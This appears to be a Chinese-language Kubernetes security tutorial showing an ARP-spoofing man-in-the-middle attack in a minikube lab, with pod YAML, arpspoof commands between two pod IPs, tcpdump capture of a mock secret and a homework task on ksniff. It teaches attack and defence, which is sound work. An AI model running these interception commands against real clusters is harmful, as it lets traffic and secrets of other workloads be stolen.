今天要開始利用 K8s 的網路連通特性來實作一些網路攻擊。一樣在攻擊前先看手法跟位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,屬於8號的攻擊手法。
另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :
先做小實驗驗證如下,先在相同worker node、namespace 下建立三個 Pod 做 arp spoofing 的測試 :
# 透過 minikube 開兩個 node 出來 (勘誤:這邊其實只有開一個 node,然後裡面有三個 Pod)
minikube delete && minikube start ;
# 觀察這些 node 的 label
kubectl get nodes --show-labels ;
apiVersion: v1
kind: Namespace
metadata:
name: client
---
apiVersion: v1
kind: Pod
metadata:
name: client
namespace: client
labels:
env: test
app: client
spec:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- minikube
containers:
- name: client
image: aeifkz/my-ubuntu:v1.0
---
apiVersion: v1
kind: Namespace
metadata:
name: server
---
apiVersion: v1
kind: Pod
metadata:
name: server
namespace: server
labels:
env: test
app: server
spec:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: kubernetes.io/hostname
operator: In
values:
- minikube
containers:
- name: server
image: aeifkz/my-ubuntu:v1.0
---
apiVersion: v1
kind: Pod
metadata:
name: hacker
labels:
env: test
app: hacker
spec:
containers:
- name: hacker
image: aeifkz/my-ubuntu:v1.0
以下分別是昨天封包監聽幾個重要的截圖 :
ARP Request 封包
ARP Response 封包
ICMP 封包
TCP 封包
在大概了解 ARP 協定的機制之後,思考一個情形就是假如有個惡意的使用者一直在網路上散播不實的 ARP 回應,那這樣是不是就可以達到偽造的效果,攻擊手法的部分參考如下 :
參考來源 : ARP spoof hijack Ethernet/IP session.
剛剛有先建立三個 pod 節點,一個做為竊聽用,其餘兩個做為互相溝通
先取得 client 和 server 的 ip
# ex: 10.244.0.3
kubectl -n client exec client -- ifconfig ;
# ex: 10.244.0.5
kubectl -n server exec server -- ifconfig ;
kubectl exec -it hacker -- bash ;
apt update && apt install dsniff tcpdump -y ;
arpspoof -i eth0 -t 10.244.0.3 10.244.0.5 2> /dev/null &
arpspoof -i eth0 -t 10.244.0.5 10.244.0.3 2> /dev/null &
tcpdump -i eth0 -w hack.pcap ;
# 連到客戶端對伺服器進行連接
kubectl -n client exec -it client -- bash ;
# 透過 nc 測試開放的 port 連線
nc [server_ip] 30089 ;
# 模擬送了一些機敏資訊給 server
echo "abc=secret" ;
# 回到宿主機透過 kubectl cp 將檔案複製出來
kubectl cp hacker:hack.pcap ./hack.pcap ;
作業六 : 要監聽特定 Pod 的封包時都必須在裡面安裝及執行 tcpdump 後再透過 kubectl cp 把檔案複製出來,感覺實在是很麻煩。請研究一下如何透過 ksniff 針對特定節點抓取封包,這個工具的排錯方法以及用法會在期中考的時候用到,屆時也會一併公布解答。
今日總結 :
本日回顧 :
次日預告 :